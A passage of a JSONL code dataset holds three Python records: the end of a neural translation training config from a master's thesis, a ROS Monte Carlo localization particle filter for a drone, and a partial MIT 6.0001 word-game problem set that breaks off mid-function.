'/home/sander/Documents/Master/Thesis/data_may/tr.morph'],\n validation_paths=['/home/sander/Documents/Master/Thesis/data_may/en-tr/shuffled/split1/word.en-tr.tr1',\n '/home/sander/Documents/Master/Thesis/data_may/en-tr/shuffled/split1/word.en-tr.en1',\n '/home/sander/Documents/Master/Thesis/data_may/en-tr/shuffled/split1/word.en-tr.mo1',\n '/home/sander/Documents/Master/Thesis/data_may/en-tr/shuffled/split1/word.en-tr.mo1',\n '/home/sander/Documents/Master/Thesis/data_may/en-tr/shuffled/split1/word.en-tr.naacl1'],\n # test_paths=['/mnt/data/sander/data/,optimizers\n # '/mnt/data/sander/data/,\n # '/mnt/data/sander/data/],\n # data generation\n vocab_size=[1000, 30000, 500, 60000],\n x_char_vocab_size = 500,\n x_morph_vocab_size = 500,\n shortest=[1, 1, 1, 1],\n longest=[40, 40, 40, 40],\n dynamic_sequence_length=True,\n # architecture parameters\n char_emb_dim=128,\n lem_emb_dim = 256,\n morph_emb_dim=256,\n num_filters=[150,93,12],\n cnn_activation = 'relu',\n emb_dropout=0.,\n nb_birnn_layers=0,\n rnn_units=256,\n rnn_dropout=0,\n rnn_recurrent_dropout=0,\n rnn_merge_mode='sum',\n rnn_architecture='gru',\n hidden_layers=[(256, 'relu')],\n # alignment distribution options\n alignment_component=UniformAlignmentComponent(),\n # optimisation parameters\n batch_size=200,\n nb_epochs=100,\n optimizer=optimizers.Adam(),\n # convergence criteria\n early_stopping=criteria,\n # output files\n output_dir='{}/training'.format(output_dir))\n\n\n# training_paths=['/mnt/data/sander/data/tr.norm',\n# '/mnt/data/sander/data/en.norm',\n# '/mnt/data/sander/data/tr.morph',\n# '/mnt/data/sander/data/tr.morph'],\n# validation_paths=['/mnt/data/sander/data/shuffled/split1/word.en-tr.tr1',\n# '/mnt/data/sander/data/shuffled/split1/word.en-tr.en1',\n# '/mnt/data/sander/data/shuffled/split1/word.en-tr.naacl1'],\n# # test_paths=['/mnt/data/sander/data/,\n# # '/mnt/data/sander/data/,\n# # '/mnt/data/sander/data/]\n","sub_path":"Network/dgm4nlp/dgm4nlp/experiments/morphlem/morph_lem1.py","file_name":"morph_lem1.py","file_ext":"py","file_size_in_byte":4646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"241520884","text":"#!/usr/bin/env python\n# -- coding: utf-8 --\nimport numpy as np\nimport math as mt\nimport rospy\nimport operator\nfrom mavros_msgs.msg import OpticalFlowRad, Altitude\nfrom rosgraph_msgs.msg import Clock\nfrom sensor_msgs.msg import LaserScan, Imu\nfrom nav_msgs.msg import OccupancyGrid, MapMetaData, Odometry\nfrom geometry_msgs.msg import Twist, PoseStamped, Point, Pose, Quaternion, PoseArray\nfrom tf.transformations import euler_from_quaternion, quaternion_from_euler\nimport tf.transformations as tr\nimport random\nfrom visualization_msgs.msg import Marker, MarkerArray\nfrom std_msgs.msg import String, Header, ColorRGBA\nfrom threading import Thread, Lock\n\nclass Particle(object):\n def __init__(self, _id, _pos, _weight, _weight_z, _z, _theta=0):\n self.id = _id\n self.pos = _pos\n self.w = _weight\n self.theta = _theta\n self.w_z = _weight_z\n self.z = _z\n\nclass Particle_filter(object):\n def __init__(self, _M, _dynamics_translation_noise_std_dev,\n _dynamics_orientation_noise_std_dev,\n _beam_range_measurement_noise_std_dev,\n _distance_range = [0.5,0], _angle_range = [0,0]):\n self.M = _M\n self.map = []\n self.x = 0\n self.y = 0\n self.origin_x = 0\n self.origin_y = 0\n self.min_dist = _distance_range[0]\n self.max_dist = _distance_range[1]\n self.min_ang = _angle_range[0]\n self.max_ang = _angle_range[1]\n self.map_resolution = 0\n self.particles = []\n self.dynamics_orientation_noise_std_dev = _dynamics_orientation_noise_std_dev\n self.dynamics_translation_noise_std_dev = _dynamics_translation_noise_std_dev\n self.beam_range_measurement_noise_std_dev = _beam_range_measurement_noise_std_dev\n self.i = 0\n\n # Previous odometry measurement of the robot\n self.last_robot_odom = None\n\n # Current odometry measurement of the robot\n self.robot_odom = None\n\n # Angle vector/readings\n\n self.angle_vector = []\n self.angle_readings = 0\n\n # Init ranges of ogm\n self.first_time = True\n self.ranges_in_grid = []\n self.ranges = []\n self.ranges_temp = []\n # variance of values in point coordinates\n\n self.total_readings = 0\n self.dyaw_temp = 0\n self.dx_temp = 0\n self.dy_temp = 0\n self.dyaw = 0\n self.dx = 0\n self.dy = 0\n self.ground_truth_x_now = 0\n self.ground_truth_y_now = 0\n self.ground_truth_yaw_now = 0\n self.x_p = 0\n self.y_p = 0\n self.theta_p = 0\n self.old_theta = 0\n self.girox = 0\n self.giroy = 0\n self.ground_truth_x = 0\n self.ground_truth_y = 0\n self.ground_truth_z = 0\n self.ground_truth_yaw = 0\n\n\n self.error_file_position = []\n self.error_file_orientation = []\n self.occupancy_file = []\n self.particle_pos_file = []\n self.ground_truth_file = []\n self.prediction_file = []\n self.curr_odometry = None\n self.imu_velocity = None\n self.new_velocity = None\n self.Vx_temp = 0\n self.Vy_temp = 0\n self.vx = 0\n self.vy = 0\n self.time = 0\n self.last_time = 0\n self.dif_t = 0\n self.dif_time = 0\n self.last_velocity = None\n self.curr_velocity = None\n self.imu_velocity = None\n self.velocity_x = 0\n self.velocity_y = 0\n self.opt_velocity = None\n self.altitude = 0\n self.last_orientation = None\n self.curr_orientation = None\n self.ang = 0\n self.angx = 0\n self.roll = 0\n self.pitch = 0\n self.droll = 0\n self.dpitch = 0\n self.last_altitude = 0\n self.curr_altitude = 0\n self.dz = 0\n self.dz_temp = 0\n self.ground_truth_z_now = 0\n self.forward_x = 0\n self.side_y = 0\n self.yaw_now = 0\n self.yaw = 0\n self.z_p = 0\n\n\n def Particle_init(self):\n for m in range(self.M):\n while self.x == 0: #while map not received\n rospy.sleep(1)\n lin_pb = np.random.uniform(0,1,(self.x,self.y)) #create uniform distribution matrix with map size\n mx = np.argmax(lin_pb) #max probability from matrix\n idx = mx/self.y #index x from the max\n idxf = int(mt.floor(idx)) # index x normalized\n idy = mx-idxf*self.y #index y from the max\n while(self.map[idxf,idy] != 0): # search for valid position\n lin_pb[idxf,idy] = 0\n mx = np.argmax(lin_pb)\n idx = mx/self.y\n idxf = int(mt.floor(idx))\n idy = mx-idxf*self.y\n theta_t = np.random.uniform()*2*mt.pi-mt.pi\n while self.map_resolution == 0: #while not started\n rospy.sleep(1)\n z = np.random.random()*(2)\n self.particles.append(Particle(m,[idxf,idy],1,1,z, _theta = theta_t)) # append particle to particle filter\n\n def Init_one_particle(self, _m):\n lin_pb = np.random.uniform(0,1,(self.x,self.y)) #create uniform distribution matrix with map size\n mx = np.argmax(lin_pb) #max probability from matrix\n idx = mx/self.y #index x from the max\n idxf = int(mt.floor(idx)) # index x normalized\n idy = mx-idxf*self.y #index y from the max\n while(self.map[idxf,idy] != 0): # search for valid position\n lin_pb[idxf,idy] = 0\n mx = np.argmax(lin_pb)\n idx = mx/self.y\n idxf = int(mt.floor(idx))\n idy = mx-idxf*self.y\n self.particles[_m].pos[0] = idxf\n self.particles[_m].pos[1] = idy\n self.particles[_m].w = 1/self.M\n self.particles[_m].w_z = 1/self.M\n self.particles[_m].theta = np.random.uniform()*2*mt.pi-mt.pi#uncomment for kidnap\n self.particles[_m].z = np.random.random()*(2)\n\n def Initar_init(self):\n while self.ground_truth_x == 0: #while not started\n rospy.sleep(1)\n for m in range(self.M):\n self.particles[m].pos[0] = 150#self.ground_truth_x#\n self.particles[m].pos[1] = 100#self.ground_truth_y#\n self.particles[m].theta = mt.pi#self.ground_truth_yaw#\n self.particles[m].z = 1 #self.ground_truth_z#\n\n def get_ground_truth(self, msg):\n while self.map_resolution == 0: #while not started\n rospy.sleep(1)\n p_map_currbaselink = np.array([msg.pose.pose.position.x,\n msg.pose.pose.position.y,\n msg.pose.pose.position.z])\n\n q_map_currbaselink = np.array([msg.pose.pose.orientation.x,\n msg.pose.pose.orientation.y,\n msg.pose.pose.orientation.z,\n msg.pose.pose.orientation.w])\n\n self.ground_truth_x = (p_map_currbaselink[0] - self.origin_x)/self.map_resolution\n self.ground_truth_y = (p_map_currbaselink[1] - self.origin_y)/self.map_resolution\n self.ground_truth_z = (p_map_currbaselink[2])\n q_map_currbaselink_euler = euler_from_quaternion(q_map_currbaselink)\n self.ground_truth_yaw = q_map_currbaselink_euler[2]\n\n def det_eff_part(self, _w_vect):\n sum_weight = 0\n for m in range(self.M):\n sum_weight = sum_weight + _w_vect[m]**2\n n_eff = 1/(sum_weight)\n return n_eff\n\n def normalize_weights(self, _n_w):\n total_w = sum(_n_w) #total weight\n for m in range(self.M):\n _n_w[m] = float(_n_w[m])/total_w #normalized\n return _n_w\n\n def Pos_predict(self, _w_v, _w_t):\n i = 0\n x_pred = 0\n y_pred = 0\n theta_pred = 0\n for i in range(self.M):\n x_pred += self.particles[i].pos[0]*_w_v[i]\n y_pred += self.particles[i].pos[1]*_w_v[i]\n theta_pred += self.particles[i].theta*_w_t[i]\n if theta_pred > mt.pi:\n theta_pred -= 2*mt.pi\n elif theta_pred < -(mt.pi):\n theta_pred += 2*mt.pi\n return x_pred, y_pred, theta_pred\n\n def Pos_predict_z(self, _w_v):\n i = 0\n z_pred = 0\n for i in range(self.M):\n z_pred += self.particles[i].z*_w_v[i]\n return z_pred\n\n def error_calc(self):\n error_pos = mt.sqrt(((self.x_p-self.ground_truth_x_now)*self.map_resolution)**2 +\n ((self.y_p-self.ground_truth_y_now)*self.map_resolution)**2)\n error_ori = self.theta_p-self.ground_truth_yaw_now\n return error_pos, error_ori\n\n def error_calc_z(self):\n error_pos_z = mt.sqrt((self.z_p-self.ground_truth_z_now)**2)\n return error_pos_z\n\n def check_divergence(self, _new_weight):\n max_w = max(_new_weight)\n rate_w = max_w / self.total_readings\n if rate_w < 0.70:\n i = 0\n Nm = int(0.1 * self.M)\n d = {k:v for k, v in enumerate(_new_weight)}\n sorted_d = sorted(d.items(), key=operator.itemgetter(1), reverse=False)\n id = [k[0] for k in sorted_d][:Nm]\n while i < Nm:\n self.Init_one_particle(id[i])\n i+=1\n\n def Resample_particles(self):\n while self.max_dist == 0: #while not started\n rospy.sleep(1)\n self.ranges = self.ranges_temp #assign to local variable\n self.dyaw = self.dyaw_temp\n if self.forward_x < 0:\n self.angx = mt.pi\n else:\n self.angx = 0\n if self.side_y > 0:\n self.ang = mt.pi/2\n else:\n self.ang = -mt.pi/2\n self.dy = abs(self.dy_temp)\n self.dx = abs(self.dx_temp)\n self.dz = abs(self.dz_temp)\n self.dyaw_temp = 0\n self.angx = 0\n self.dy_temp = 0\n self.dx_temp = 0\n self.dz_temp = 0\n self.velocity_x = 0\n self.velocity_y = 0\n self.yaw_now = self.yaw\n self.roll = 0\n self.pitch = 0\n self.forward_x = 0\n self.side_y = 0\n self.ground_truth_x_now = self.ground_truth_x\n self.ground_truth_y_now = self.ground_truth_y\n self.ground_truth_z_now = self.ground_truth_z\n self.ground_truth_yaw_now = self.ground_truth_yaw\n self.ground_truth_file.write(repr(self.ground_truth_x_now)+ ' ' +repr(self.ground_truth_y_now)+ ' ' +repr(self.ground_truth_yaw_now)+'\\n')\n newPF = [] # X~\n finPF = [] # X\n new_weight = np.zeros(self.M) #new vector for weight change\n new_weight_theta = np.zeros(self.M) #new vector for weight change\n new_weight_z = np.zeros(self.M)\n error = 0\n self.m_to_grid() # convert from meters to grid coordinates\n for m in range(self.M):\n [new_pos,new_theta] = self.predict_next_odometry(m) #predict odom\n new_weight[m] = self.weight_change(m) # predict weight\n new_weight_theta[m] = self.theta_weight(m) # predict theta\n new_weight_z[m] = self.z_weight(m)\n self.particles[m].w = new_weight[m] # assign to particle\n newPF.append(Particle(m, new_pos, new_weight[m], new_weight_z[m], self.particles[m].z, _theta = new_theta)) #create new PF\n self.check_divergence(new_weight) #comment in order to do tracking\n new_weight = self.normalize_weights(new_weight)\n new_weight_theta = self.normalize_weights(new_weight_theta)\n new_weight_z = self.normalize_weights(new_weight_z)\n eff_particles = self.det_eff_part(new_weight)\n self.x_p, self.y_p, self.theta_p = self.Pos_predict( new_weight, new_weight_theta)\n self.z_p = self.Pos_predict_z(new_weight_z)\n self.prediction_file.write(repr(self.x_p)+ ' ' +repr(self.y_p)+ ' ' +repr(self.theta_p)+' ' +repr(self.z_p)+'\\n')\n error_position, error_orientation = self.error_calc()\n error_z = self.error_calc_z()\n self.error_file_position.write(repr(error_position)+'\\n')\n self.error_file_orientation.write(repr(error_orientation)+'\\n')\n self.error_file_z.write(repr(error_z)+'\\n')\n print('Error', error_position,error_orientation, error_z)\n if eff_particles < 2*(self.M)/3:\n w_v = np.array(new_weight)\n w_v = w_v*self.M\n w_v_t = np.array(new_weight_theta)\n w_v_t = w_v_t*self.M\n w_v_z = np.array(new_weight_z)\n w_v_z = w_v_z*self.M\n for m in range(self.M):\n nposx = random.gauss(0, self.beam_range_measurement_noise_std_dev) #create gauss\n nposy = random.gauss(0, self.beam_range_measurement_noise_std_dev) #create gauss\n nposz = random.gauss(0, self.beam_range_measurement_noise_std_dev) #create gauss\n if(max(w_v)<1):\n mx = np.argmax(w_v)\n w_v[mx] = 0\n else:\n mx = np.argmax(w_v) #max probability from matrix\n w_v[mx] = w_v[mx] - 1\n idx = self.particles[mx].pos[0]\n idy = self.particles[mx].pos[1]\n if(max(w_v_t)<1):\n mx_t = np.argmax(w_v_t)\n w_v_t[mx_t] = 0\n else:\n mx_t = np.argmax(w_v_t) #max probability from matrix\n w_v_t[mx_t] = w_v_t[mx_t] - 1\n idt = self.particles[mx_t].theta\n if(max(w_v_z)<1):\n mx_z = np.argmax(w_v_z)\n w_v_z[mx_z] = 0\n else:\n mx_z = np.argmax(w_v_z) #max probability from matrix\n w_v_z[mx_z] = w_v_z[mx_z] - 1\n idz = self.particles[mx_z].z\n finPF.append(Particle(m,[idx+nposx,idy+nposy], 1, 1, idz + nposz, _theta = idt))\n self.particles = finPF\n\n def angle_vect_make(self, _max_angle, _min_angle, _angle_inc):\n n_values = int((_max_angle-_min_angle)/_angle_inc) #number of readings\n self.angle_vector = np.zeros((n_values,1)) #intialize vector\n self.angle_readings = n_values\n for i in range(n_values):\n self.angle_vector[i] = _min_angle+_angle_inc*i #assign the angle to the vector position\n\n def map_resolve_size(self, _data):\n self.map = np.zeros((self.x,self.y))\n for i in range(self.x):\n for j in range(self.y):\n self.map[i,j] = _data[j*self.x+i]\n self.occupancy_file.write(repr(self.map[i,j])+ ' ')\n self.occupancy_file.write('\\n')\n\n def m_to_grid(self):\n self.ranges_in_grid = np.zeros((2,self.angle_readings)) #create new ranges vector\n self.total_readings = 0\n for i in range(self.angle_readings):\n if self.ranges[i] < self.max_dist and self.ranges[i] > self.min_dist: # in range\n self.ranges_in_grid[0,i] = self.ranges[i]/self.map_resolution #convert from meters to grid\n self.ranges_in_grid[1,i] = self.ranges[i]/self.map_resolution #convert from meters to grid\n self.total_readings += 1\n else: # not valid\n self.ranges_in_grid[0,i] = -1\n self.ranges_in_grid[1,i] = -1\n\n def compare_dist(self, _m, _i):\n ang_dist_x = mt.cos(self.angle_vector[_i]+self.particles[_m].theta+mt.pi/2)*self.ranges_in_grid[0,_i] #\n ang_dist_y = mt.sin(self.angle_vector[_i]+self.particles[_m].theta+mt.pi/2)*self.ranges_in_grid[1,_i] #trigonometry\n xx = int(mt.floor(ang_dist_x))\n yy = int(mt.floor(ang_dist_y))\n xi = int(self.particles[_m].pos[0])\n yi = int(self.particles[_m].pos[1])\n xw = xi+xx\n yw = yi+yy\n wa = 0\n for i in range(-1,2):\n if(xw+i >= 0 and xw+i < self.x and yw+i >= 0 and yw+i < self.y):\n wa = wa + self.map[xw+i,yw+i]\n if wa > 0:\n return 1\n else:\n return 0\n\n def z_weight(self,_m):\n norm_error = abs(self.particles[_m].z - self.altitude)\n prob_z = np.exp(-0.5 * (1/1.2) * norm_error**2)\n\n return prob_z\n\n def theta_weight(self,_m):\n norm_error = abs(self.particles[_m].theta - self.yaw)\n prob_theta = np.exp(-0.5 * (1/1.2) * norm_error**2)\n\n return prob_theta\n\n def weight_change(self, _m):\n wt = 1 # temporary weight\n for i in range(self.angle_readings): # for all laser readings\n if self.ranges_in_grid[0,i] != -1: # check if is valid\n wt = wt + self.compare_dist(_m,i) # change weight\n #wt = wt / self.total_readings\n return wt\n\n def odometry_correct(self, _m):\n xx = int(self.particles[_m].pos[0]) # pos x from particle\n yy = int(self.particles[_m].pos[1]) # pos y from particle\n if xx >= self.x or xx < 0 or yy >= self.y or yy < 0: #check if it is outside map\n self.Init_one_particle(_m)\n return\n if self.map[xx,yy] != 0: #check if it is in available place\n self.Init_one_particle(_m)\n\n def predict_next_odometry(self, m):\n\n delta_x = random.gauss(0, self.dynamics_translation_noise_std_dev) #create gauss\n delta_y = random.gauss(0, self.dynamics_translation_noise_std_dev) #create gauss\n delta_z = random.gauss(0, 0.05) #create gauss\n ntheta = random.gauss(0, self.dynamics_orientation_noise_std_dev) #create gauss\n\n if abs(self.dyaw) < 0.1:\n var = self.dx * mt.cos(self.particles[m].theta + self.angx) + self.dy * mt.cos(self.particles[m].theta + self.ang)\n var2 = self.dy*mt.sin(self.particles[m].theta + self.ang) + self.dx*mt.sin(self.particles[m].theta + self.angx)\n flag = 1\n else:\n var2 = 1\n var = 1\n flag = 0\n\n self.particles[m].pos[1] += (var2*flag + var2*delta_y)/self.map_resolution\n self.particles[m].pos[0] += (var*flag + var*delta_x)/self.map_resolution\n self.particles[m].theta += self.dyaw + ntheta * self.dyaw\n self.particles[m].z += (self.dz + delta_z*self.dz)\n\n self.odometry_correct(m) # check if particle is in map\n self.particle_pos_file.write(repr(m)+ ' ' + repr(self.particles[m].pos) + ' ' + repr(self.particles[m].theta)+ ' ' + repr(self.particles[m].z)+'\\n')\n return [[self.particles[m].pos[0],self.particles[m].pos[1]],self.particles[m].theta]\n\n def scan_analysis(self, msg):\n if self.first_time == True: # only the first time\n max_angle_sensor = msg.angle_max\n min_angle_sensor = msg.angle_min\n angle_inc_sensor = msg.angle_increment\n self.max_dist = msg.range_max\n self.angle_vect_make(max_angle_sensor, min_angle_sensor, angle_inc_sensor) # create angle vector\n self.first_time = False\n self.ranges_temp = msg.ranges # save ranges\n\n def get_map(self, msg):\n self.x = msg.info.width\n self.y = msg.info.height\n self.origin_x = msg.info.origin.position.x\n self.origin_y = msg.info.origin.position.y\n data = msg.data\n self.map_resolve_size(data)\n self.map_resolution = msg.info.resolution\n\n def get_alt(self,msg):\n self.alti = msg.bottom_clearance\n\n def get_clock(self,msg):\n if self.first_time == True:\n self.time = msg.clock.secs + msg.clock.nsecs * 10**(-9)\n else:\n self.last_time = self.time\n self.time = msg.clock.secs + msg.clock.nsecs * 10**(-9)\n self.dif_t += self.time - self.last_time\n\n def get_IMU(self,msg):\n self.opt_velocity = msg\n\n def get_altitude(self,msg):\n self.altitude = msg.ranges[0]\n\n def velocity_motion_model(self,msg):\n\n dif_time = self.dif_t\n self.dif_time = self.dif_t\n self.dif_t = 0\n\n self.last_velocity = self.curr_velocity\n self.curr_velocity = msg.twist.twist\n self.last_orientation = self.curr_orientation\n self.curr_orientation = msg.pose.pose\n\n self.last_altitude = self.curr_altitude\n self.curr_altitude = self.altitude\n\n if self.last_orientation and self.opt_velocity:\n\n q_map_lastbaselink = np.array([self.curr_orientation.orientation.x,\n self.curr_orientation.orientation.y,\n self.curr_orientation.orientation.z,\n self.curr_orientation.orientation.w])\n q_map_lastbaselink1 = np.array([self.last_orientation.orientation.x,\n self.last_orientation.orientation.y,\n self.last_orientation.orientation.z,\n self.last_orientation.orientation.w])\n\n q_map_lastbaselink_euler = euler_from_quaternion(q_map_lastbaselink)\n q_map_lastbaselink_euler1 = euler_from_quaternion(q_map_lastbaselink1)\n self.dyaw_temp += q_map_lastbaselink_euler[2] - q_map_lastbaselink_euler1[2]\n self.droll = q_map_lastbaselink_euler[0] - q_map_lastbaselink_euler1[0]\n self.dpitch = q_map_lastbaselink_euler[1] - q_map_lastbaselink_euler1[1]\n self.yaw = q_map_lastbaselink_euler[2]\n\n self.forward_x += self.opt_velocity.integrated_y\n self.side_y += self.opt_velocity.integrated_x\n self.pitch = q_map_lastbaselink_euler1[1]\n self.dx_temp += self.curr_velocity.linear.x *dif_time\n self.dy_temp += self.curr_velocity.linear.y *dif_time\n self.dz_temp += self.curr_altitude - self.last_altitude\n\nclass MCL(object):\n def __init__(self,num_particles):\n\n # Init node\n\n rospy.init_node('Monte_Carlo')\n\n # Errors of associated devices\n\n dynamics_translation_noise_std_dev = 0.05\n dynamics_orientation_noise_std_dev = 0.03\n beam_range_measurement_noise_std_dev = 0.15\n\n # Get the Particle Filter running\n\n self.pf = Particle_filter(num_particles,\n dynamics_translation_noise_std_dev,\n dynamics_orientation_noise_std_dev,\n beam_range_measurement_noise_std_dev)\n\n self.pf.error_file_position = open(\"error_file_position.txt\", \"w\")\n self.pf.error_file_orientation = open(\"error_file_orientation.txt\", \"w\")\n self.pf.occupancy_file = open(\"occupancy_grid.txt\", \"w\")\n self.pf.particle_pos_file = open(\"particle_position.txt\", \"w\")\n self.pf.ground_truth_file = open(\"ground_truth_position.txt\", \"w\")\n self.pf.prediction_file = open(\"prediction_file.txt\", \"w\")\n self.pf.error_file_z = open(\"error_file_z.txt\", \"w\")\n\n # Get MAP\n\n self.map_sub = rospy.Subscriber('/map', OccupancyGrid, self.map_callback)\n self.gt_sub = rospy.Subscriber('/ground_truth/state', Odometry, self.gt_callback) #/ground_truth/state\n self.pf.Particle_init()\n rospy.Subscriber('/clock', Clock, self.clock_callback)\n self.pf.Initar_init()\n self.gt_yaw = 0\n self.gt_x = 0\n self.gt_y = 0\n\n self.particles_pub = rospy.Publisher('/typhoon/particle_filter/particles', MarkerArray, queue_size=1)\n # Subscribe to topics\n\n rospy.Subscriber('/mavros/altitude', Altitude , self.get_altitude) #/ground_truth/state\n rospy.Subscriber('/mavros/px4flow/raw/optical_flow_rad', OpticalFlowRad, self.odom_callback) #/ground_truth/state\n rospy.Subscriber('/spur/laser/scan2', LaserScan, self.scan_callback2)\n rospy.Subscriber('/mavros/local_position/odom', Odometry, self.twist_callback)\n rospy.Subscriber('/spur/laser/scan', LaserScan, self.scan_callback)\n\n\n\n def scan_callback(self,msg):\n self.pf.scan_analysis(msg)\n\n def scan_callback2(self,msg):\n self.pf.get_altitude(msg)\n\n def clock_callback(self,msg):\n self.pf.get_clock(msg)\n\n def gt_callback(self,msg):\n self.pf.get_ground_truth(msg)\n\n def map_callback(self, msg):\n self.pf.get_map(msg)\n self.map_sub.unregister()\n\n def get_altitude(self, msg):\n self.pf.get_alt(msg)\n\n def twist_callback(self,msg):\n self.pf.velocity_motion_model(msg)\n\n def odom_callback(self, msg):\n self.pf.get_IMU(msg)\n\n def get_particle_marker(self, timestamp, particle, marker_id):\n \"\"\"Returns an rviz marker that visualizes a single particle\"\"\"\n msg = Marker()\n msg.header.stamp = timestamp\n msg.header.frame_id = 'map'\n msg.ns = 'particles'\n msg.id = marker_id\n msg.type = 0 # arrow\n msg.action = 0 # add/modify\n msg.lifetime = rospy.Duration(1)\n\n yaw_in_map = particle.theta\n vx = mt.cos(yaw_in_map)\n vy = mt.sin(yaw_in_map)\n msg.color = ColorRGBA(0, 1.0, 0, 1.0)\n\n gx = particle.pos[0] * self.pf.map_resolution + self.pf.origin_x\n gy = particle.pos[1] * self.pf.map_resolution + self.pf.origin_y\n gz = particle.z\n quat = Quaternion(*quaternion_from_euler(0,0,particle.theta))\n msg.points.append(Point(gx, gy,gz))\n msg.points.append(Point(gx + self.pf.map_resolution*vx, gy + self.pf.map_resolution*vy, gz))\n\n msg.scale.x = 0.05\n msg.scale.y = 0.15\n msg.scale.z = 0.1\n return msg\n\n def publish_particle_markers(self):\n \"\"\" Publishes the particles of the particle filter in rviz\"\"\"\n ma = MarkerArray()\n ts = rospy.Time.now()\n for i in xrange(len(self.pf.particles)):\n ma.markers.append(self.get_particle_marker(ts, self.pf.particles[i], i))\n\n self.particles_pub.publish(ma)\n\n def run(self):\n rate = rospy.Rate(1)\n while not rospy.is_shutdown():\n self.publish_particle_markers()\n self.pf.Resample_particles()\n\n rate.sleep()\n self.pf.error_file_position.close()\n self.pf.error_file_orientation.close()\n self.pf.occupancy_file.close()\n self.pf.particle_pos_file.close()\n self.pf.ground_truth_file.close()\n self.pf.prediction_file.close()\n self.pf.error_file_z.close()\n\n\nif __name__ == '__main__':\n\n numero_particulas = 200\n\n Monte_carlo = MCL(numero_particulas)\n\n Monte_carlo.run()\n","sub_path":"mcl_com_z.py","file_name":"mcl_com_z.py","file_ext":"py","file_size_in_byte":26400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"158985414","text":"# 6.0001 Problem Set 3\n#\n# The 6.0001 Word Game\n# Created by: Kevin Luu <luuk> and Jenna Wiens <jwiens>\n#\n# Name : kz42\n# Collaborators : <your collaborators>\n# Time spent : <total time>\n\nimport math\nimport random\nimport string\n\nVOWELS = 'aeiou'\nCONSONANTS = 'bcdfghjklmnpqrstvwxyz'\nHAND_SIZE = 7\n\nSCRABBLE_LETTER_VALUES = {\n\t'a': 1, 'b': 3, 'c': 3, 'd': 2, 'e': 1, 'f': 4, 'g': 2, 'h': 4, 'i': 1, 'j': 8, 'k': 5, 'l': 1, 'm': 3, 'n': 1, 'o': 1, 'p': 3, 'q': 10, 'r': 1, 's': 1, 't': 1, 'u': 1, 'v': 4, 'w': 4, 'x': 8, 'y': 4, 'z': 10\n}\n\n# -----------------------------------\n# Helper code\n# (you don't need to understand this helper code)\n\nWORDLIST_FILENAME = \"words.txt\"\n\ndef load_words():\n\t\"\"\"\n\tReturns a list of valid words. Words are strings of lowercase letters.\n\t\n\tDepending on the size of the word list, this function may\n\ttake a while to finish.\n\t\"\"\"\n\t\n\tprint(\"Loading word list from file...\")\n\t# inFile: file\n\tinFile = open(WORDLIST_FILENAME, 'r')\n\t# wordlist: list of strings\n\twordlist = []\n\tfor line in inFile:\n\t\twordlist.append(line.strip().lower())\n\tprint(\" \", len(wordlist), \"words loaded.\")\n\treturn wordlist\n\ndef get_frequency_dict(sequence):\n\t\"\"\"\n\treturn: dictionary\n\t\"\"\"\n\t# freqs: dictionary (element_type -> int)\n\tfreq = {}\n\tfor x in sequence:\n\t\tfreq[x] = freq.get(x,0) + 1\n\treturn freq\n\t\n\n# (end of helper code)\n# -----------------------------------\n\n#\n# Problem #1: Scoring a word\n#\ndef get_word_score(word, n):\n\t\"\"\"\n\treturns: int >= 0\n\t\"\"\"\n\t\n\t# TO DO... Remove this line when you implement this function\n\tword = word.lower()\n\t\n\tcomponent1 = HAND_SIZE * len(word) - 3 * (n - len(word))\n\tfirst_c = 0\n\tfor char in word:\n\t\tfirst_c += SCRABBLE_LETTER_VALUES.get(char,0)\n\tif component1 > 1:\n\t\treturn component1 * first_c\n\telse:\n\t\treturn first_c\n\n# Make sure you understand how this function works and what it does!\n#\ndef display_hand(hand):\n\n\t\n\tfor letter in hand.keys():\n\t\tfor j in range(hand[letter]):\n\t\t\t print(letter, end=' ') # print all on the same line\n\tprint() # print an empty line\n\ndef deal_hand(n):\n\t\"\"\"\n\treturns: dictionary (string -> int)\n\t\"\"\"\n\t\n\thand={}\n\tnum_vowels = int(math.ceil(n / 3)) \n\n\tfor i in range(num_vowels - 1):\n\t\tx = random.choice(VOWELS)\n\t\thand[x] = hand.get(x, 0) + 1\n\t# wildcard ('*')\n\thand['*'] = 1\n\n\tfor i in range(num_vowels, n): \n\t\tx = random.choice(CONSONANTS)\n\t\thand[x] = hand.get(x, 0) + 1\n\t\n\treturn hand\n\n#\n# Problem #2: Update a hand by removing letters\n#\ndef update_hand(hand, word):\n\t\"\"\" \n\treturns: dictionary (string -> int)\n\t\"\"\"\n\n\t# TO DO... Remove this line when you implement this function\n\thand_copy = hand.copy()\n\tword = word.lower()\n\tfor letter in word:\n\t\tvalue = hand_copy.get(letter,0) \n\t\tif value != 0:\n\t\t\tvalue -= 1\n\t\thand_copy[letter] = value\n\treturn hand_copy\n\n# Problem #3: Test word validity\ndef is_valid_word(word, hand, word_list):\n\t\"\"\"\n\tReturns True if word is in the word_list and is entirely\n\tcomposed of letters in the hand. Otherwise, returns False.\n\tDoes not mutate hand or word_list.\n \n\tword: string\n\thand: dictionary (string -> int)\n\tword_list: list of lowercase strings\n\treturns: boolean\n\t\"\"\"\n\t#make copy of hand and word_list\n\thand_copy = hand.copy()\n\tword_listCopy = word_list[:]\n\t#\n\tfreq = get_frequency_dict(word) # freq -> dic\n\tcount = 0\n\tif '*' not in word:\n\t\tif word in word_listCopy:\n\t\t\tfor char in word:\n\t\t\t\tif freq[char] <= hand_copy.get(char,0):\n\t\t\t\t\tcount += 1\n\t\t\tif count == len(word):\n\t\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\telse: \n\t\tfor char in VOWELS:\n\t\t\tword_possible = word.replace('*',char)\n\t\t\tfreq_pos = get_frequency_dict(word_possible)\n\t\t\tif word_possible in word_listCopy:\n\t\t\t\tcount = 0\n\t\t\t\tfor char1 in word_possible:\n\t\t\t\t\tif freq_pos[char1] <= hand_copy.get(char1,0):\n\t\t\t\t\t\tcount += 1\n\t\tif count == len(word):\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\n\n#Problem #5: Playing a hand\n#\n\ndef calculate_handlen(hand):\n\t\"\"\" \n\tReturns the length (number of letters) in the current hand.\n\t\n\thand: dictionary (string-> int)\n\treturns: integer\n\t\"\"\"\n\t\n\t# TO DO... Remove this line when you implement this function\n\tn = 0\n\tkey_list = list(hand.keys())\n\tfor key in key_list:\n\t\tn += hand[key]\n\treturn n\n\t\n\ndef play_hand(hand, word_list):\n\thandlen = 